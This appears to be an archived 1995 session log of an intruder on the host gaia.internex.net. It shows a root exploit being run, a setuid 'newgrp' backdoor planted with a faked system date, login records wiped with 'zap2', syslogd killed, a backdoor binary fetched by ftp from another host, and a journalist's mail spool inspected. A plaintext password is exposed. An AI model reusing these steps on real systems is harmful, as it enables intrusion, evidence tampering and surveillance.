Kevin On Demand
- Pick Up Where We Left Off - kevin-on-demand.takedown.com 4007
- Start: 1995 Feb 8 07:34:51
- Total Run Time: 11:54
- From well.sf.ca.us to gaia.internex.net.
- Resumes session from Netcom to the Well to Internex. Starts exactly where he got dropped. Pokes at sf1.nyt.com. Installs trojan and back door. Tries to hide them as well.
UNIX(r) System V Release 4.0 (gaia)
login: brian
Password: fucknmc
Password does not decrypt secret key for unix.104@InterNex.net.
7:36am up 7:47, 2 users, load average: 5.44, 5.41, 5.44
mailx version 5.0 Fri Jul 15 21:21:05 PDT 1994 Type ? for help.
"/var/mail/brian": 3 messages 2 unread
>U 1 Mailer-Daemon Thu Dec 22 10:15 36/1370 Returned mail: unknown ma
U 2 mcgovern@netjet.co Sun Jan 15 22:59 55/1515 Marathon Party!!
3 root Tue Feb 7 23:46 19/470
& q
Held 3 messages in /var/mail/brian
gaia [1] ls
1.Z mbox public_html/ solsw zap2
accounting meeks sampform.html solterm
mailrc newgrp soldoc/ topten
gaia [2] sh
$ uncompress 1
1.Z: not in compressed format
$ uudecode 1.Z
$ uncompress 1
$ chmod 777 1
$ ./1
$ id
uid=104(brian) gid=25(gadmin) euid=0(root) egid=0(root)
$ cp newgrp /var
$ chmod 4755 /var/newgrp
$ /var/newgrp -hack root
# chmod 777 zap2
# csh
gaia# last brian | head
brian pts/1 well.sf.ca.us Wed Feb 8 07:36 still logged in
brian pts/1 well.sf.ca.us Wed Feb 8 07:32 - 07:33 (00:01)
brian pts/1 escape.com Wed Feb 8 07:04 - 07:08 (00:04)
wtmp begins Sat Sep 24 06:55
gaia# zap2 brian
Zap2!
gaia# !!
zap2 brian
Zap2!
gaia# !!
zap2 brian
Zap2!
gaia# ls /usr/local/bin
#lmac# gzcat ptbl
0dump.infobase gzip query-pr
5dump.infobase h2n radiusd
Jjoin h2ph radiusd.old
Jlist headchg radiusd~
Jproject ident radpass
Jreport identify ranlib
Jsort imapd rb
NeMaC import rcs
NeTraMet info rcs-checkin
Pnews ini2cfg rcsdiff
Pnews~ insertcharacters rcsmerge
README install-sid rdb
Rnmail instext repair
SoftList ippingmon report
a2p iss reporttbl
addtextrect ixocico restart_named
animate ixocico.old restart_named~
archie jinx rlog
asctool jointbl rolo
atob keepalive_monitors row
b2m kermit rtftohtml
bdftops kermit.old rx
beholder less rz
bggen less.hlp s2p
bison lesskey sb
blast lint screenblank
bmake lint~ sdiff
book lmac search
brtag2ptag lmac~ sed
build lockfile segment
bwnfsd lst2tbl send-pr
c2ph lynx sf
cbrc mailstat shell2perl
cbrc.old make showaudio
cfg2ini makeinfo showaudio~
cgrep map-mbone shql
check_httpd massmail shql~
ci mbconv snmp-dump
cif2drf merge snmp-get
cmp mergetbl snmp-info
co mif2fm snmp-nxt
column mif2gif snmp-set
combine mif2mif snmp-tbl
compute mif2ps snmp-trap
convert mifchk sorttbl
copydns mifren sperl4.036
copydns,v miftags sqhm
cppstdin mkcache srialpop
ctags mkmodules start-radius
cterm mktbl stdspook
curseperl mogrify subtotal
cvs montage suidscript
dataent mosaic suidscript~
dead.letter mpeg_play summ
debugtkperl++ mrinfo sx
deliverInfoMail mrouted sz
deliverInfoMail~ multiping taintperl
diff nacrp tbl2lst
diff3 ncftp tclsh
dig netpbm tcsh
display netscape texi2dvi
display_nocol_datafile netscape.9b texi2roff
dns2secondary newsetup texindex
dpost newsgroups tkperl
edit-pr nn tkperl+
egnugrep nnadmin tkperl++
egrep nnbatch top
emacs nncheck tpage
emacs-19.15 nngoback tpageq
emacs-19.25 nngrab tperl4.036
emacsclient nngrep tpmon
etags nnpost traceroute
etbl nnstats trans
eventselect nntidy trapmon
f2htranslate nnusage trn
fd_extract noclogd trouble
fd_filter nocol ttnum
fgrep notifier ttnum~
find2perl nsmon uncache
flex olvwm underline2bold
flex++ pager underline2italics
fm2html pager.old uniqtbl
fm2mif patch unshar
font2c pbm unzip
form perl valid
formail perl0.000 vat
fromto perl4.036 vdcomp
ftpcount perl5 vr
ftpsetup pgp waisindex
ftpsetup~ pico waisq
ftpshut pico.old waissearch
ftptool pine watchxferlog
ftptool4.3 pine.old watchxferlog~
ftpwho pmon wish
gdb popproc wusage
genmon portmon wwwstat
genpass postprint xarchie
getstats pri xcmap
ghostview proc.help.idx xferAnon
grep proc.help.txt xferAnon~
gs proc.trans.geoffw xmosaic
gsbj proc.trans.rberger xmosaic.old
gsdj procmail xmosaic21
gslj proctool xmosaic22
gslp ps2ascii xv
gsnd ps2epsi xv.3.0
gunzip ps2gif xvnews
gwstat pstruct
gaia# pwd
/home/brian
gaia# ls
.OWdefaults .sig5
.Xauthority .sig6
.cshrc 1
.cshrc~ accounting
.emacs mailrc
.hushlogin mbox
.login meeks
.mailrc newgrp
.mailrc~ public_html
.mosaic-global-history sampform.html
.mosaic-hotlist-default soldoc
.mosaic-personal-annotations solsw
.mosaicpid solterm
.sig1 topten
.sig2 zap2
.sig4
gaia# rm 1
gaia# last brian
brian pts/1 escape.com Wed Feb 8 07:04 - 07:08 (00:04)
wtmp begins Sat Sep 24 06:55
gaia# zap2 brian
Zap2!
gaia# last brian
brian pts/1 escape.com Wed Feb 8 07:04 still logged in
wtmp begins Sat Sep 24 06:55
gaia# w
7:38am up 7:50, 1 user, load average: 5.25, 5.37, 5.42
User tty login@ idle JCPU PCPU what
root console 11:50pm 7:41 12 /bin/csh
gaia# zap2 brian
Zap2!
gaia# !!
zap2 brian
^C
gaia# /usr/local/kermit
/usr/local/kermit: Command not found
gaia# last brian
wtmp begins Sat Sep 24 06:55
gaia# /usr/local/bin/kermit
C-Kermit 5A(190) ALPHA.01, 31 Mar 94, for Solaris 2.x
Type ? or HELP for help
C-Kermit>rece
Return to your local Kermit and give a SEND command.
KERMIT READY TO RECEIVE...
C-Kermit>quit
gaia# cc time.c -o time
/usr/ucb/cc: language optional software package not installed
gaia# gcc -s -O time.c -o time
time.c: In function `main':
time.c:14: warning: passing arg 1 of `strlen' makes pointer from integer without
a cast
gaia# rm time*
gaia# ls -tla /usr/bin/newgrp
-rwsr-xr-x 1 root 8496 Jul 15 1994 /usr/bin/newgrp
gaia# ps -aux | grep sysl
root 147 0.3 2.6 1652 1180 ? S 23:49:26 0:26 /usr/sbin/syslogd
root 6501 0.2 1.0 708 456 pts/1 S 07:40:44 0:00 grep sysl
gaia# kill -9 147
gaia# date
Wed Feb 8 07:41:03 PST 1995
gaia# ls -tla /usr/bin/newgrp
-rwsr-xr-x 1 root 8496 Jul 15 1994 /usr/bin/newgrp
gaia# date 0715181894
Fri Jul 15 18:18:00 PDT 1994
gaia# cp newgrp /usr/bin/newgrp
gaia# chmod 4755 /usr/bin/newgrp
gaia# date 0208074295
Wed Feb 8 07:42:00 PST 1995
gaia# /usr/sbinm
/usr/sbinm: Command not found
gaia# /usr/sbin/syslogd
gaia# pwd
/home/brian
gaia# ls -tla
total 146
dr-xr-xr-x 2 root 11 Feb 8 07:42 ..
drwxr-xr-x 5 brian 1024 Feb 8 07:40 .
-rw-r--r-- 1 brian 8496 Feb 8 07:33 newgrp
-rwxrwxrwx 1 brian 10112 Feb 8 07:32 zap2
-rw-r--r-- 1 brian 5304 Jan 31 1994 mbox
-rw-r--r-- 1 brian 8118 Jan 30 1994 meeks
-rw-r--r-- 1 brian 90 Jan 25 1994 accounting
-rw-r--r-- 1 brian 23003 Jan 17 1994 .mosaic-global-history
-rw-r--r-- 1 brian 191 Jan 17 1994 .mosaic-hotlist-default
-rw-r--r-- 1 brian 1314 Jan 17 1994 sampform.html
drwxrwxr-x 2 brian 512 Jan 17 1994 public_html
-rw-r--r-- 1 brian 6 Jan 17 1994 .mosaicpid
-rw-r--r-- 1 brian 849 Jan 17 1994 .cshrc
-rw-r--r-- 1 brian 106 Jan 17 1994 .OWdefaults
-rw------- 1 brian 249 Jan 17 1994 .Xauthority
-rw-r--r-- 1 brian 809 Jan 17 1994 .cshrc~
drwxrwxr-x 2 brian 512 Oct 25 1993 soldoc
-rw-r--r-- 1 brian 20 Oct 17 1993 .mailrc
-rw-r--r-- 1 brian 22309 Oct 12 1993 topten
-rw-r--r-- 1 brian 23412 Oct 10 1993 solterm
-rw-r--r-- 1 brian 18973 Oct 10 1993 solsw
-rw-r--r-- 1 brian 11 Oct 10 1993 .mailrc~
drwx------ 2 brian 512 Oct 6 1993 .mosaic-personal-annotations
-rw-r--r-- 1 brian 177 Oct 3 1993 .sig6
-rw-r--r-- 1 brian 51 Oct 3 1993 .login
-rw-r--r-- 1 brian 46 Oct 3 1993 .emacs
-rw-r--r-- 1 brian 123 Oct 3 1993 .sig2
-rw-r--r-- 1 brian 109 Oct 3 1993 .sig1
-rw-r--r-- 1 brian 0 Oct 3 1993 .hushlogin
-rw-r--r-- 1 brian 228 Oct 3 1993 .sig4
-rw-r--r-- 1 brian 256 Oct 3 1993 .sig5
-rw-r--r-- 1 brian 3357 Oct 3 1993 mailrc
gaia# rm newgrp
gaia# cd /var/spoll/popmail/nyt.com
/var/spoll/popmail/nyt.com: No such file or directory
gaia# ls -tla
total 137
dr-xr-xr-x 2 root 11 Feb 8 07:42 ..
drwxr-xr-x 5 brian 1024 Feb 8 07:42 .
-rwxrwxrwx 1 brian 10112 Feb 8 07:32 zap2
-rw-r--r-- 1 brian 5304 Jan 31 1994 mbox
-rw-r--r-- 1 brian 8118 Jan 30 1994 meeks
-rw-r--r-- 1 brian 90 Jan 25 1994 accounting
-rw-r--r-- 1 brian 23003 Jan 17 1994 .mosaic-global-history
-rw-r--r-- 1 brian 191 Jan 17 1994 .mosaic-hotlist-default
-rw-r--r-- 1 brian 1314 Jan 17 1994 sampform.html
drwxrwxr-x 2 brian 512 Jan 17 1994 public_html
-rw-r--r-- 1 brian 6 Jan 17 1994 .mosaicpid
-rw-r--r-- 1 brian 849 Jan 17 1994 .cshrc
-rw-r--r-- 1 brian 106 Jan 17 1994 .OWdefaults
-rw------- 1 brian 249 Jan 17 1994 .Xauthority
-rw-r--r-- 1 brian 809 Jan 17 1994 .cshrc~
drwxrwxr-x 2 brian 512 Oct 25 1993 soldoc
-rw-r--r-- 1 brian 20 Oct 17 1993 .mailrc
-rw-r--r-- 1 brian 22309 Oct 12 1993 topten
-rw-r--r-- 1 brian 23412 Oct 10 1993 solterm
-rw-r--r-- 1 brian 18973 Oct 10 1993 solsw
-rw-r--r-- 1 brian 11 Oct 10 1993 .mailrc~
drwx------ 2 brian 512 Oct 6 1993 .mosaic-personal-annotations
-rw-r--r-- 1 brian 177 Oct 3 1993 .sig6
-rw-r--r-- 1 brian 51 Oct 3 1993 .login
-rw-r--r-- 1 brian 46 Oct 3 1993 .emacs
-rw-r--r-- 1 brian 123 Oct 3 1993 .sig2
-rw-r--r-- 1 brian 109 Oct 3 1993 .sig1
-rw-r--r-- 1 brian 0 Oct 3 1993 .hushlogin
-rw-r--r-- 1 brian 228 Oct 3 1993 .sig4
-rw-r--r-- 1 brian 256 Oct 3 1993 .sig5
-rw-r--r-- 1 brian 3357 Oct 3 1993 mailrc
gaia# cd /var/spool/popmail/nyt.com
gaia# ls -tla
total 14
-rw------- 1 popmail 0 Feb 8 06:40 .markoff.pop
-rw-rw---- 1 popmail 0 Feb 8 06:39 markoff
drwxrwsr-t 91 popmail 2048 Feb 2 11:47 ..
drwxrwsrwt 2 popmail 512 Jan 9 14:50 .
-rw------- 1 popmail 7247 Jan 9 14:50 editor
lrwxrwxrwx 1 root 7 Sep 24 14:13 jmarkoff -> markoff
-rw------- 1 popmail 1801 Jul 25 1994 info
gaia# ping sf1.nyt.com
no answer from sf1.nyt.com
gaia# pwd
/var/spool/popmail/nyt.com
gaia# grep mark /etc/mail/aliases
mark.ramsey: ramsey
mark.seiden: mseiden
markoff: markoff, bstocker@nyx.cs.du.edu
jmarkoff: markoff, bstocker@nyx.cs.du.edu
markkap: markkap@netcom.com
gaia# cd
gaia# ftp
ftp> open well.sf.ca.us
Connected to well.sf.ca.us.
220 well FTP server (UNIX(r) System V Release 4.0) ready.
Name (well.sf.ca.us:root): dono
331 Password required for dono.
Password: fucknmc
230 User dono logged in.
ftp> bin
200 Type set to I.
ftp> get sportd
200 PORT command successful.
150 Binary data connection for sportd (198.67.38.22,34745) (15292 bytes).
226 Binary Transfer complete.
local: sportd remote: sportd
15292 bytes received in 1.1 seconds (13 Kbytes/s)
ftp> quit
221 Goodbye.
gaia# mv sportd in.pmd
gaia# env - in.pmd
No such file or directory: in.pmd
gaia# env - ./in.pmd
Permission denied: ./in.pmd
gaia# chmod 777 in.pmd
gaia# env - in.pmd
No such file or directory: in.pmd
gaia# env - ./in.pmd
bind: Address already in use
gaia# telnet localhost 5553
Trying 127.0.0.1 ...
Connected to localhost.
Escape character is '^]'.
wank
Connection closed by foreign host.
gaia# ps -aux | grep pmd
root 6634 0.2 1.0 708 456 pts/1 S 07:45:22 0:00 grep pmd
gaia# rm /var/new*
rm: /var/news is a directory
gaia# ls /var
TT_DB log named preserve spool
adm lost+found news run statmon
audit lp nis sadm tmp
cron mail opt saf yp
gaia# ps -aux | grep root
root 2884 20.3 2.5 1696 1140 ? R 02:49:36 61:05 /usr/lib/sendmail
root 1366 20.0 2.3 1696 1044 ? R 00:49:36 91:41 /usr/lib/sendmail
root 2093 20.0 2.3 1696 1040 ? R 01:49:36 74:12 /usr/lib/sendmail
root 180 15.9 1.8 1688 840 ? R 23:49:36 104:34 /usr/lib/sendmail
root 178 15.8 1.9 1688 880 ? R 23:49:36 98:29 /usr/lib/sendmail
root 4082 1.9 3.9 2404 1812 ? S 04:49:36 0:08 /usr/lib/sendmail
root 3 1.0 0.0 0 0 ? S 23:48:44 4:22 fsflush
root 6637 0.7 1.6 908 744 pts/1 O 07:45:42 0:00 ps -aux
root 113 0.3 4.5 2788 2076 ? S 23:49:21 1:29 /usr/sbin/in.named
root 6409 0.3 2.0 1332 924 ? S 07:36:02 0:01 in.telnetd
root 6638 0.3 1.0 708 456 pts/1 S 07:45:42 0:00 grep root
root 6551 0.1 2.7 1636 1260 ? S 07:42:12 0:00 /usr/sbin/syslogd
root 6628 0.1 1.4 1124 656 ? S 07:45:08 0:00 in.comsat
root 1 0.1 0.3 740 104 ? S 23:48:44 0:20 /etc/init -
root 5570 0.1 3.5 2100 1620 ? S 06:49:36 0:03 /usr/lib/sendmail
root 96 0.1 1.8 1812 828 ? S 23:49:02 0:17 /usr/sbin/rpcbind
root 143 0.1 2.3 1652 1052 ? S 23:49:26 1:02 /usr/lib/autofs/au
root 98 0.1 2.8 2240 1268 ? S 23:49:03 0:15 /usr/sbin/keyserv
root 4802 0.1 3.4 2204 1544 ? S 05:49:36 0:02 /usr/lib/sendmail
root 6595 0.0 3.2 1976 1472 ? S 07:44:08 0:00 /usr/lib/sendmail
root 6616 0.0 1.9 1976 856 ? S 07:44:45 0:00 /usr/lib/sendmail
root 117 0.0 2.1 1616 968 ? S 23:49:22 0:03 /usr/sbin/inetd -s
root 6599 0.0 2.1 1976 968 ? S 07:44:11 0:00 /usr/lib/sendmail
root 0 0.0 0.0 0 0 ? T 23:48:41 0:01 sched
root 2 0.0 0.0 0 0 ? S 23:48:44 0:00 pageout
root 104 0.0 2.0 1484 932 ? S 23:49:04 0:00 /usr/sbin/nis_cach
root 106 0.0 1.5 1456 660 ? S 23:49:05 0:00 /usr/sbin/kerbd
root 120 0.0 1.5 1576 684 ? S 23:49:22 0:00 /usr/lib/nfs/statd
root 122 0.0 1.5 1856 692 ? S 23:49:22 0:00 /usr/lib/nfs/lockd
root 157 0.0 2.3 1724 1032 ? S 23:49:32 0:01 /usr/sbin/cron
root 167 0.0 0.9 2412 420 ? S 23:49:33 0:00 /usr/lib/lpsched
root 174 0.0 1.1 1276 504 ? S 23:49:34 0:00 lpNet
root 176 0.0 1.7 1628 768 ? S 23:49:36 0:05 /usr/lib/sendmail
root 187 0.0 0.9 672 380 ? S 23:49:37 0:00 /usr/lib/utmpd
root 189 0.0 1.5 1728 660 ? S 23:49:37 0:01 /usr/sbin/vold
root 250 0.0 1.3 1160 600 ? S 23:49:58 0:00 /usr/lib/nfs/nfsd
root 252 0.0 1.8 1804 844 ? S 23:49:58 0:00 /usr/lib/nfs/mount
root 254 0.0 0.8 1136 376 ? S 23:49:59 0:00 /usr/sbin/in.rarpd
root 255 0.0 0.6 1136 244 ? S 23:49:59 0:00 /usr/sbin/in.rarpd
root 257 0.0 1.4 1408 640 ? S 23:49:59 0:00 /usr/sbin/rpc.boot
root 262 0.0 1.3 2332 576 ? S 23:50:01 0:00 /usr/openwin/bin/x
root 275 0.0 1.8 1500 800 ? S 23:50:04 0:00 /usr/local/etc/noc
root 276 0.0 1.6 1232 740 ? S 23:50:05 0:01 /usr/local/bin/ipp
root 278 0.0 2.3 1860 1064 ? S 23:50:05 0:00 /bin/perl /var/adm
root 292 0.0 2.1 1592 968 ? S 23:50:12 0:05 /usr/local/bin/rad
root 294 0.0 1.7 1556 756 ? S 23:50:13 0:00 /usr/local/etc/bwn
root 296 0.0 1.3 1212 608 ? S 23:50:15 0:00 /usr/lib/saf/sac -
root 297 0.0 0.9 704 420 console S 23:50:15 0:00 -sh
root 302 0.0 1.2 1140 552 ? S 23:50:17 0:00 /usr/lib/saf/liste
root 303 0.0 1.4 1288 628 ? S 23:50:17 0:00 /usr/lib/saf/ttymo
root 318 0.0 1.2 916 540 console S 23:50:41 0:00 /bin/csh
root 1056 0.0 2.2 2276 1004 ? S 00:25:28 0:00 rpc.ttdbserverd
root 6439 0.0 1.1 708 492 pts/1 S 07:37:02 0:00 -
root 6442 0.0 1.4 852 656 pts/1 S 07:37:11 0:00 csh
root 6443 0.0 4.2 2356 1956 ? S 07:37:12 0:00 in.ftpd -d
root 6534 0.0 1.9 1976 852 ? S 07:42:02 0:00 /usr/lib/sendmail
root 6556 0.0 4.3 2356 1996 ? S 07:42:17 0:00 in.ftpd -d
root 6598 0.0 0.0 0 0 Z 0:00 <defunct>
gaia# kill -9 6598
gaia# pwd
/home/brian
gaia# mv in.pmd /
gaia# ls -tla
total 137
dr-xr-xr-x 2 root 11 Feb 8 07:46 ..
drwxr-xr-x 5 brian 1024 Feb 8 07:46 .
-rwxrwxrwx 1 brian 10112 Feb 8 07:32 zap2
-rw-r--r-- 1 brian 5304 Jan 31 1994 mbox
-rw-r--r-- 1 brian 8118 Jan 30 1994 meeks
-rw-r--r-- 1 brian 90 Jan 25 1994 accounting
-rw-r--r-- 1 brian 23003 Jan 17 1994 .mosaic-global-history
-rw-r--r-- 1 brian 191 Jan 17 1994 .mosaic-hotlist-default
-rw-r--r-- 1 brian 1314 Jan 17 1994 sampform.html
drwxrwxr-x 2 brian 512 Jan 17 1994 public_html
-rw-r--r-- 1 brian 6 Jan 17 1994 .mosaicpid
-rw-r--r-- 1 brian 849 Jan 17 1994 .cshrc
-rw-r--r-- 1 brian 106 Jan 17 1994 .OWdefaults
-rw------- 1 brian 249 Jan 17 1994 .Xauthority
-rw-r--r-- 1 brian 809 Jan 17 1994 .cshrc~
drwxrwxr-x 2 brian 512 Oct 25 1993 soldoc
-rw-r--r-- 1 brian 20 Oct 17 1993 .mailrc
-rw-r--r-- 1 brian 22309 Oct 12 1993 topten
-rw-r--r-- 1 brian 23412 Oct 10 1993 solterm
-rw-r--r-- 1 brian 18973 Oct 10 1993 solsw
-rw-r--r-- 1 brian 11 Oct 10 1993 .mailrc~
drwx------ 2 brian 512 Oct 6 1993 .mosaic-personal-annotations
-rw-r--r-- 1 brian 177 Oct 3 1993 .sig6
-rw-r--r-- 1 brian 51 Oct 3 1993 .login
-rw-r--r-- 1 brian 46 Oct 3 1993 .emacs
-rw-r--r-- 1 brian 123 Oct 3 1993 .sig2
-rw-r--r-- 1 brian 109 Oct 3 1993 .sig1
-rw-r--r-- 1 brian 0 Oct 3 1993 .hushlogin
-rw-r--r-- 1 brian 228 Oct 3 1993 .sig4
-rw-r--r-- 1 brian 256 Oct 3 1993 .sig5
-rw-r--r-- 1 brian 3357 Oct 3 1993 mailrc
gaia# last | head
mseiden pts/1 nero.msbit.com Wed Feb 8 02:20 still logged in
outasite pts/1 nexsys.nexsys.ne Wed Feb 8 00:53 - 02:20 (01:27)
geoffw pts/1 nexsys.nexsys.ne Wed Feb 8 00:46 - 00:47 (00:00)
geoffw pts/1 nexsys.nexsys.ne Wed Feb 8 00:03 - 00:46 (00:43)
geoffw pts/0 nexsys.nexsys.ne Tue Feb 7 23:51 still logged in
root console Tue Feb 7 23:50 still logged in
reboot system boot Tue Feb 7 23:48
geoffw pts/0 nexsys.nexsys.ne Tue Feb 7 23:18 - down (00:30)
mseiden pts/7 msbnext.msbit.co Tue Feb 7 20:12 - down (03:36)
rberger pts/6 stardust.interne Tue Feb 7 16:44 - down (07:04)
gaia# rm zap2
gaia# cd /
gaia# env - in.pmd
No such file or directory: in.pmd
gaia# env - ./ind.pmd
No such file or directory: ./ind.pmd
gaia# env - ./in.pmd
bind: Address already in use
gaia# rm in.pmd
gaia# cd
gaia# ls -tla | head
total 127
dr-xr-xr-x 2 root 11 Feb 8 07:47 ..
drwxr-xr-x 5 brian 1024 Feb 8 07:46 .
-rw-r--r-- 1 brian 5304 Jan 31 1994 mbox
-rw-r--r-- 1 brian 8118 Jan 30 1994 meeks
-rw-r--r-- 1 brian 90 Jan 25 1994 accounting
-rw-r--r-- 1 brian 23003 Jan 17 1994 .mosaic-global-history
-rw-r--r-- 1 brian 191 Jan 17 1994 .mosaic-hotlist-default
-rw-r--r-- 1 brian 1314 Jan 17 1994 sampform.html
drwxrwxr-x 2 brian 512 Jan 17 1994 public_html
gaia# last markoff
markoff pts/2 gatekeeper.nytim Tue Nov 29 13:05 - down (9+07:46)
markoff pts/3 sf1.nyt.com Wed Nov 23 14:20 - 14:42 (00:22)
markoff pts/13 well.sf.ca.us Fri Nov 11 10:50 - 11:59 (01:08)
markoff pts/13 sf1.nyt.com Tue Oct 4 10:56 - 10:58 (00:02)
markoff pts/7 well.sf.ca.us Sat Sep 24 08:24 - 08:27 (00:02)
wtmp begins Sat Sep 24 06:55
gaia# grep geoff /etc/passwd
geoffw:x:101:23:Geoff White:/home/geoffw:/bin/csh
gaia# cd /home/geoffw
gaia# ls -tla | head -20
total 24
dr-xr-xr-x 2 root 11 Feb 8 07:47 ..
drwxr-xr-x 5 geoffw 2560 Feb 8 00:39 .
-rw-r--r-- 1 geoffw 18 Feb 8 00:08 .forward
-rw-r--r-- 1 geoffw 134 Jan 6 03:14 .mailtool-init
-rwxr-xr-x 1 geoffw 570 Nov 29 11:41 .ftptoolrc
-rw-r--r-- 1 geoffw 2417 Sep 26 10:28 .cshrc
-rw-rw-r-- 1 geoffw 660 Sep 24 07:48 .xinitrc
-rw-r--r-- 1 geoffw 985 Aug 16 13:29 .desksetdefaults
drwx------ 6 geoffw 512 Jul 4 1994 .fm
-rw-r--r-- 1 geoffw 540 Jul 1 1994 .ftptooltypes
-rw-r--r-- 1 geoffw 697 Jul 1 1994 .ftptooldefaults
-rw-r--r-- 1 geoffw 444 May 2 1994 .ftptoollayout
drwxr-xr-x 2 geoffw 512 Apr 6 1994 .wastebasket
-rwxr-xr-x 1 geoffw 1175 Feb 1 1994 .openwin-init
-rw-r--r-- 1 geoffw 666 Nov 30 1993 .plan
-rw------- 1 geoffw 300 Aug 29 1993 .openwin-menu
-rw-r--r-- 1 geoffw 861 Aug 25 1993 .openwin-menu-programs
-rw-r--r-- 1 geoffw 872 Aug 25 1993 .openwin-menu-programs.BAK
drwx------ 2 geoffw 512 Aug 21 1993 .mosaic-personal-annotations
gaia# cat .forward
geoffw@nexsys.net
gaia# cd
gaia# ls t-la
t-la not found
gaia# ls -tla
total 127
dr-xr-xr-x 2 root 11 Feb 8 07:47 ..
drwxr-xr-x 5 brian 1024 Feb 8 07:46 .
-rw-r--r-- 1 brian 5304 Jan 31 1994 mbox
-rw-r--r-- 1 brian 8118 Jan 30 1994 meeks
-rw-r--r-- 1 brian 90 Jan 25 1994 accounting
-rw-r--r-- 1 brian 23003 Jan 17 1994 .mosaic-global-history
-rw-r--r-- 1 brian 191 Jan 17 1994 .mosaic-hotlist-default
-rw-r--r-- 1 brian 1314 Jan 17 1994 sampform.html
drwxrwxr-x 2 brian 512 Jan 17 1994 public_html
-rw-r--r-- 1 brian 6 Jan 17 1994 .mosaicpid
-rw-r--r-- 1 brian 849 Jan 17 1994 .cshrc
-rw-r--r-- 1 brian 106 Jan 17 1994 .OWdefaults
-rw------- 1 brian 249 Jan 17 1994 .Xauthority
-rw-r--r-- 1 brian 809 Jan 17 1994 .cshrc~
drwxrwxr-x 2 brian 512 Oct 25 1993 soldoc
-rw-r--r-- 1 brian 20 Oct 17 1993 .mailrc
-rw-r--r-- 1 brian 22309 Oct 12 1993 topten
-rw-r--r-- 1 brian 23412 Oct 10 1993 solterm
-rw-r--r-- 1 brian 18973 Oct 10 1993 solsw
-rw-r--r-- 1 brian 11 Oct 10 1993 .mailrc~
drwx------ 2 brian 512 Oct 6 1993 .mosaic-personal-annotations
-rw-r--r-- 1 brian 177 Oct 3 1993 .sig6
-rw-r--r-- 1 brian 51 Oct 3 1993 .login
-rw-r--r-- 1 brian 46 Oct 3 1993 .emacs
-rw-r--r-- 1 brian 123 Oct 3 1993 .sig2
-rw-r--r-- 1 brian 109 Oct 3 1993 .sig1
-rw-r--r-- 1 brian 0 Oct 3 1993 .hushlogin
-rw-r--r-- 1 brian 228 Oct 3 1993 .sig4
-rw-r--r-- 1 brian 256 Oct 3 1993 .sig5
-rw-r--r-- 1 brian 3357 Oct 3 1993 mailrc
gaia# w
7:47am up 7:59, 1 user, load average: 5.54, 5.52, 5.49
User tty login@ idle JCPU PCPU what
root console 11:50pm 7:50 12 /bin/csh
gaia# who
root console Feb 7 23:50
gaia# ^D
# ^D
$ ^D
gaia [3] ^D